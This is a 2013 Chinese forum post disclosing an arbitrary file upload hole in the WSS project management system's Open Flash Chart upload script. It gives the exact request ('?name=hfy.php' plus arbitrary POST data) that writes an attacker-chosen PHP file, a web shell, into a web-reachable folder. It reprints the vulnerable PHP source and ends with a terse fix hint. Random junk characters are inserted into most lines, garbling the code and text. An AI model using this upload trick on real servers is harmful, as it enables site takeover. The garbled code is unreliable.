找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2072|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存
0 q& a6 y/ a% G 漏洞文件/chart/php-ofc-library/ofc_upload_image.php' J3 a) ^' e" H. R, M

; N% m: z9 r# s# [利用:
* j5 j/ B, t# Y$ v1 ?9 ~0 Y/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名8 g+ c  d+ h1 ]9 p1 \, F
. w  T- h, {. d8 I# ^; W
Post任意数据
: r. \7 {- e7 k( {保存位置http://localhost/chart/tmp-upload-images/hfy.php
% u% K. D0 W% @. B; w: x- T/ U
0 l1 D2 o  c0 ?7 q+ F0 [9 H
" U9 M$ ~4 _5 w8 V7 D- h最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
# Z! o  {) _  m4 u( V
5 ^, I; {2 E! m<?php+ D/ O5 O$ l: X9 e& i) F  p
$ {( g7 N  E. k0 g1 {
//
/ d5 M7 m' O; |// In Open Flash Chart -> save_image debug mode, you
, i( H: d% U. A# ?2 c/ |3 h! i$ k// will see the 'echo' text in a new window.
% _! n4 G4 j4 G+ H  n! a2 E//
4 G2 e' a0 \: Y$ [1 ?* r" o0 j; _# m. [. J# Q
/*
+ w/ B- x$ t& V) j3 n5 F' B1 ~( U4 f( O
  B5 H5 t; Y, f( j) V: i: E2 A+ x8 qprint_r( $_GET );. J- p  X1 C" r7 l  q) ?
print_r( $_POST );$ T7 E6 f+ x' X5 c( ~; i
print_r( $_FILES );
4 W2 p3 m) U- X2 `4 q( u# k/ _& t! x" B6 b
print_r( $GLOBALS );+ @% q1 Y' d# s; ~( X' G
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
" V+ G% |+ C8 x" d* u9 Q1 u& A7 M( e* C: \# }
*/- K8 Q# p$ r! Y0 N
// default path for the image to be stored //6 }3 _& G' {5 X0 a
$default_path = '../tmp-upload-images/';1 q: k# t- q( E; Q5 N. ~- o1 g' d
, x$ ^* }2 d2 [9 y2 ?
if (!file_exists($default_path)) mkdir($default_path, 0777, true);, i7 m6 l; j5 v2 l

& N& C* j+ d/ d( H7 u// full path to the saved image including filename //# h, V; h% N+ W& H* C* u9 U
$destination = $default_path . basename( $_GET[ 'name' ] ); 0 _& r6 J3 \& C6 g/ u* M4 s# D/ w
6 x% B% X& |0 E
echo 'Saving your image to: '. $destination;! z' G, @4 c  x& A" [" t" A
// print_r( $_POST );
) n% |3 d) ]2 |5 K// print_r( $_SERVER );1 \0 ^+ q# l, x; x; R
// echo $HTTP_RAW_POST_DATA;
* B6 d& @3 W5 p0 R4 e, Q4 u& ?' K/ G* z
//2 u" @' M% i/ ]- s7 B/ Y, y. l
// POST data is usually string data, but we are passing a RAW .png
3 {6 J; F" L5 H" y// so PHP is a bit confused and $_POST is empty. But it has saved
1 t5 N0 B% H1 a( j9 F/ K0 _// the raw bits into $HTTP_RAW_POST_DATA7 X* X2 T1 y8 l- F$ `
//9 K# u: s  `$ s8 u7 e+ T! j) ~; E- n

: X) \1 B  V  j# @$jfh = fopen($destination, 'w') or die("can't open file");( |) v8 ~% ~, O0 `
fwrite($jfh, $HTTP_RAW_POST_DATA);; a: M( {' Z' a! S, I! l; Q) s
fclose($jfh);/ Z& L4 O, V+ K0 j6 H7 m& m
3 X+ S* O; B6 n5 w: x
//2 S! F- z6 B* _1 w3 b8 G
// LOOK:
. a+ i: m/ U2 W2 q$ J; \//
) j- ]+ _1 ?4 b( m) o- pexit();
$ K" n; E7 R8 y: z% n1 a7 \! |" R- _//
) Y% H/ d2 O6 e$ x1 S' B: \// PHP5:
" m' }9 T% M9 q$ J//5 f6 m$ h& t+ T9 {9 @- c

$ e* s) v$ {* k5 j# z# Z9 A4 q* n' b
// default path for the image to be stored //
0 m) B$ `! |5 }' e7 C. Z$default_path = 'tmp-upload-images/';5 R6 M$ O" P8 f: Y8 G. M

3 s. z  V! t: y9 C6 Vif (!file_exists($default_path)) mkdir($default_path, 0777, true);- A+ L& I; R. w+ I
: h3 e. u, m6 [7 d( x
// full path to the saved image including filename //) Z8 v7 ?3 _# Q( w4 J' R
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
. e  E+ G! c* t$ Q7 P" E) A2 F1 V' j# t
// move the image into the specified directory //
) Q2 ?; I" L; K. J, Q& rif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
" V4 Z. E! h2 i5 B- `# T    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
' J6 U  v, V) S} else {
* T/ j0 N; \: |8 J  C    echo "FILE UPLOAD FAILED";
; ^9 v6 T# c- a9 `& m4 d}
% z9 `9 A! i8 V  w$ e0 {6 b( ~: y  M: Y2 a

9 F4 O/ o3 e5 }' m?>: |9 U* g- b( R, x8 }

& t2 U6 i5 i' `" I0 r
" V& o5 u4 O/ J) o/ y
- @; i6 B% L& h# L9 X- h2 E2 t. E$ C! \2 K6 R- d( m; F
! I' b- }8 v/ A5 c' |

1 t" \( d: u9 u* h修复方案: ( @0 i3 i" w6 a  l! Y9 F
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 - F- f# T- z. M  \2 _
1 E' }7 m, r$ P. G. U* H- u0 ^
; U8 g3 b# C$ L7 E3 P4 A

; i/ H$ o4 J9 m+ ]0 N4 D2 _# @! o- Q& b( r7 ^" @! Y; s4 I! p

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表